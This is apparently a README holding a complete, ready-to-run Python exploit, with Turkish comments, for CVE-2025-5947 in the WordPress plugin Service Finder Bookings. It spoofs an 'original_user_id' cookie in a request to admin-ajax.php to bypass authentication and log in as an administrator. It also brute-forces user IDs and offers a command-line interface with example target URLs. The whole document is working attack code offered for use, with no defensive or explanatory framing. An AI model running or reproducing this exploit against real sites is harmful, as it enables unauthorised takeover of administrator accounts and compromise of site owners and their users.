README.md
Rendering markdown...
import requests
import sys
import argparse
from urllib.parse import urljoin
from requests.packages.urllib3.exceptions import InsecureRequestWarning
# SSL uyarılarını kapat
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
class CVE20255947Exploit:
def __init__(self, target_url, timeout=10, verify_ssl=False):
self.target_url = target_url.rstrip('/')
self.timeout = timeout
self.verify_ssl = verify_ssl
self.session = requests.Session()
self.session.verify = verify_ssl
def check_vulnerability(self):
"""Hedefi CVE-2025-5947 için kontrol et"""
try:
# WordPress kontrolü
wp_check = self.session.get(
urljoin(self.target_url, '/wp-admin/'),
timeout=self.timeout,
allow_redirects=False
)
if wp_check.status_code not in [200, 302, 301]:
print("❌ WordPress kurulumu bulunamadı")
return False
# Plugin kontrolü
plugin_check = self.session.get(
urljoin(self.target_url, '/wp-content/plugins/sf-booking/'),
timeout=self.timeout
)
if plugin_check.status_code == 200:
print("✅ Service Finder Bookings eklentisi bulundu")
return True
else:
print("⚠️ Eklenti bulunamadı, yine de deneyebiliriz...")
return True
except Exception as e:
print(f"❌ Kontrol hatası: {e}")
return False
def exploit(self, user_id=1):
"""CVE-2025-5947 exploit'ini çalıştır"""
try:
print(f"\n🔍 Kullanıcı ID {user_id} ile giriş denemesi yapılıyor...")
# Exploit payload
cookies = {
'original_user_id': str(user_id)
}
# AJAX isteği gönder
response = self.session.get(
urljoin(self.target_url, '/wp-admin/admin-ajax.php'),
params={'action': 'service_finder_switch_back'},
cookies=cookies,
timeout=self.timeout,
allow_redirects=False
)
print(f"📊 HTTP Status: {response.status_code}")
print(f"📋 Response Headers:")
for key, value in response.headers.items():
if key.lower() in ['location', 'set-cookie', 'content-type']:
print(f" {key}: {value[:100]}")
# Başarı kontrolleri
success_indicators = [
response.status_code in [301, 302],
'Location' in response.headers and '/wp-admin/' in response.headers.get('Location', ''),
'Set-Cookie' in response.headers and 'wordpress_logged_in_' in response.headers.get('Set-Cookie', '')
]
if all(success_indicators):
print(f"\n✅ BAŞARILI! Admin olarak giriş yapıldı!")
print(f"📍 Yönlendirme: {response.headers.get('Location')}")
return True
elif any(success_indicators):
print(f"\n⚠️ Kısmi başarı - Sistem yanıt verdi")
return True
else:
print(f"\n❌ Exploit başarısız")
return False
except Exception as e:
print(f"❌ Exploit hatası: {e}")
return False
def brute_force_users(self, user_ids=None):
"""Birden fazla kullanıcı ID'si dene"""
if user_ids is None:
user_ids = range(1, 11) # 1-10 arası dene
print(f"\n🔄 Brute Force Başlıyor ({len(list(user_ids))} kullanıcı)...")
successful_users = []
for user_id in user_ids:
try:
cookies = {'original_user_id': str(user_id)}
response = self.session.get(
urljoin(self.target_url, '/wp-admin/admin-ajax.php'),
params={'action': 'service_finder_switch_back'},
cookies=cookies,
timeout=self.timeout,
allow_redirects=False
)
if response.status_code in [301, 302]:
print(f"✅ Kullanıcı ID {user_id}: BAŞARILI")
successful_users.append(user_id)
else:
print(f"❌ Kullanıcı ID {user_id}: Başarısız")
except Exception as e:
print(f"⚠️ Kullanıcı ID {user_id}: Hata - {e}")
return successful_users
def main():
parser = argparse.ArgumentParser(
description='CVE-2025-5947 Service Finder Bookings Exploit',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog='''
Örnekler:
python exploit.py -u http://target.com
python exploit.py -u http://target.com -i 1
python exploit.py -u http://target.com -b 1-10
python exploit.py -u http://target.com --no-ssl-verify
'''
)
parser.add_argument('-u', '--url', required=True, help='Hedef URL (örn: http://target.com)')
parser.add_argument('-i', '--user-id', type=int, default=1, help='Kullanıcı ID (varsayılan: 1)')
parser.add_argument('-b', '--brute-force', help='Brute force aralığı (örn: 1-10)')
parser.add_argument('--no-ssl-verify', action='store_true', help='SSL doğrulamasını devre dışı bırak')
parser.add_argument('-t', '--timeout', type=int, default=10, help='Timeout (varsayılan: 10s)')
args = parser.parse_args()
print("=" * 60)
print("CVE-2025-5947 Service Finder Bookings Exploit")
print("Authentication Bypass via Cookie Spoofing")
print("=" * 60)
# Exploit nesnesini oluştur
exploit = CVE20255947Exploit(
args.url,
timeout=args.timeout,
verify_ssl=not args.no_ssl_verify
)
# Hedefi kontrol et
if not exploit.check_vulnerability():
sys.exit(1)
# Brute force veya tek kullanıcı
if args.brute_force:
try:
start, end = map(int, args.brute_force.split('-'))
successful = exploit.brute_force_users(range(start, end + 1))
if successful:
print(f"\n✅ Başarılı Kullanıcılar: {successful}")
except ValueError:
print("❌ Brute force formatı yanlış (örn: 1-10)")
sys.exit(1)
else:
exploit.exploit(args.user_id)
if __name__ == '__main__':
main()